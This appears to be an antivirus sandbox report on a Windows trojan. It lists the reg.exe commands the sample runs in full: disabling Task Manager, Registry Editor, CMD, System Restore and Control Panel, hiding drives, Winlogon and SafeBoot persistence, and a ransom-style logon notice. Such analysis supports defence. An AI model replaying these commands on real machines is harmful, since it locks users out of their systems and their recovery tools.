Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Userinit' = '<SYSTEM32>\WinlogonUpdateStarter.exe,<SYSTEM32>\userinit.exe'
Malicious functions:
To complicate detection of its presence in the operating system,
forces the system hide from view:
- hidden files
- file extensions
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
- Registry Editor (RegEdit)
blocks the following features:
- System Restore (SR)
Executes the following:
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v StartButtonBalloonTip /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_ShowSetProgramAccessAndDefaults /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v StartMenuFavorites /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v StartMenuAdminTools /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_ShowRecentDocs /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_ShowPrinters /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_ShowSearch /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_ShowRun /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v TaskbarGlomming /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall /v NoWindowsSetupPage /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v TaskbarSizeMove /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v FolderContentsInfoTip /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v EnableBalloonTips /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v SuperHidden /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v DisableThumbnailCache /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_ShowNetPlaces /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_AutoCascade /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_AdminToolsRoot /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_NotifyNewApps /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_MinMFU /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /d 4 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v TaskbarGroupSize /d 2 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowInfoTip /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_ShowMyMusic /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_ShowMyDocs /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_ShowNetConn /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_ShowMyPics /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_ShowControlPanel /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_ScrollPrograms /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_ShowMyComputer /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Start_ShowHelp /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies /v WriteProtect /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoOpeninNewWnd /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoNavButtons /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoSelectDownloadDir /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoPrinting /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoFileNew /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoFavorites /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoFindFiles /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoFileOpen /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' /status
- '<SYSTEM32>\reg.exe' /pid=3304
- '<SYSTEM32>\reg.exe' 2784
- '<SYSTEM32>\reg.exe' /pid=2796
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoViewSource /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoTheaterMode /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' -l
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v RestGoMenu /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoBrowserSaveAs /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer /v LimitSystemRestoreCheckpointing /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer /v DisableMSI /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.google.com" /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Search Page" /d "http://www.google.com" /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp /v NoRealMode /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp /v Disable /d 4 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoBrowserContextMenu /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoBrowserClose /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoBrowserOptions /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' /pid=2752
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchUrl" /v "@" /d "www.google.com/keywords" /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Search Bar" /d "http://www.google.com/ie" /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoBrowserBars /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v AlwaysPromptWhenDownload /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoEditingComponents /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoFileSysPage /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDevMgrPage /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideLegacyLogonScripts /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoVirtMemPage /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoAdminPage /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispSettingsPage /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoConfigPage /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoProfilePage /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network /v NoNetSetupSecurityPage /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoUserNameInStartMenu /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network /v NoNetSetup /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network /v NoNetSetupIDPage /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispScrSavPage /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AllowMultipleTSSessions /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LegalNoticeText /d "A gepedet birtokolja: RayMond." /f
- '<SYSTEM32>\reg.exe' delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{59031a47-3f72-44a7-89c5-5595fe6b30ee} /f
- '%WINDIR%\regedit.exe' /s <SYSTEM32>\Rstrctns.reg
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "<SYSTEM32>\WinlogonUpdateStarter.exe,<SYSTEM32>\userinit.exe" /f
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\WinlogonUpdate.bat" "
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LegalNoticeCaption /d "Hozzaferes megtagadva!" /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell /d <SYSTEM32>\WinlogonUpdate.vbs /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoSecCPL /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispCPL /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispBackgroundPage /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispAppearancePage /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoPwdPage /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /d 2 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v Intellimenus /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /d 67108863 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowCpl /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsNetHood /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoToolbarCustomize /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoActiveDesktop /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLowDiskSpaceChecks /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoBandCustomize /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsMenu /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuSubFolders /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMorePrograms /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktopCleanupWizard /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoChangeKeyboardNavigationIndicators /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoNetHood /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDriveAutoRun /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoCommonGroups /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetFolders /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSaveSettings /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoAddPrinter /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoPrinters /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoPrinterTabs /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDeletePrinter /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoToolbarsOnTaskbar /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v LockTaskbar /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoChangeStartMenu /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoTrayContextMenu /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoPropertiesMyComputer /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /d 1 /t REG_DWORD /f
Injects code into
the following system processes:
- <SYSTEM32>\reg.exe
Modifies settings of Windows Explorer:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoChangeStartMenu' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'StartMenuLogOff' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoSetTaskbar' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoTrayContextMenu' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoViewContextMenu' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoActiveDesktop' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoStartMenuSubFolders' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRecentDocsMenu' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoStartMenuMorePrograms' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoToolbarCustomize' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoFind' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoNetHood' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoSetFolders' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoUserNameInStartMenu' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoControlPanel' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoViewOnDrive' = '03FFFFFF'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoDrives' = '03FFFFFF'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoFolderOptions' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoPrinters' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoDesktop' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoCommonGroups' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoSaveSettings' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoAddPrinter' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoDeletePrinter' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoPrinterTabs' = '00000001'
Sets a new unauthorized home page for Windows Internet Explorer.
Attempts to shut down the Windows operating system.
Modifies file system :
Creates the following files:
- <SYSTEM32>\WinlogonUpdate2.bat
- <SYSTEM32>\WinlogonUpdate.bat
- <SYSTEM32>\adtskmgr.reg
- <SYSTEM32>\WinlogonUpdateR.bat
- <Auxiliary element>
- <SYSTEM32>\Rstrctns.reg
- <SYSTEM32>\WinlogonUpdateStarter.exe
- %TEMP%\1.tmp\WinlogonUpdate2.bat
- %TEMP%\1.tmp\adtskmgr.reg
- %TEMP%\1.tmp\WinlogonUpdate.bat
- %TEMP%\1.tmp\WinlogonUpdate.vbs
- <SYSTEM32>\WinlogonUpdate.vbs
- %TEMP%\1.tmp\WinlogonUpdateStarter.exe
- %TEMP%\1.tmp\WinlogonUpdateR.bat
Deletes the following files:
- %TEMP%\1.tmp\WinlogonUpdateR.bat
- %TEMP%\1.tmp\WinlogonUpdateStarter.exe
- %TEMP%\1.tmp\WinlogonUpdate.bat
- %TEMP%\1.tmp\adtskmgr.reg
- %TEMP%\1.tmp\WinlogonUpdate2.bat
- %TEMP%\1.tmp\WinlogonUpdate.vbs
Miscellaneous:
Searches for the following windows:
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'StatusWindowClass' WindowName: '(null)'
- ClassName: 'RegEdit_RegEdit' WindowName: '(null)'
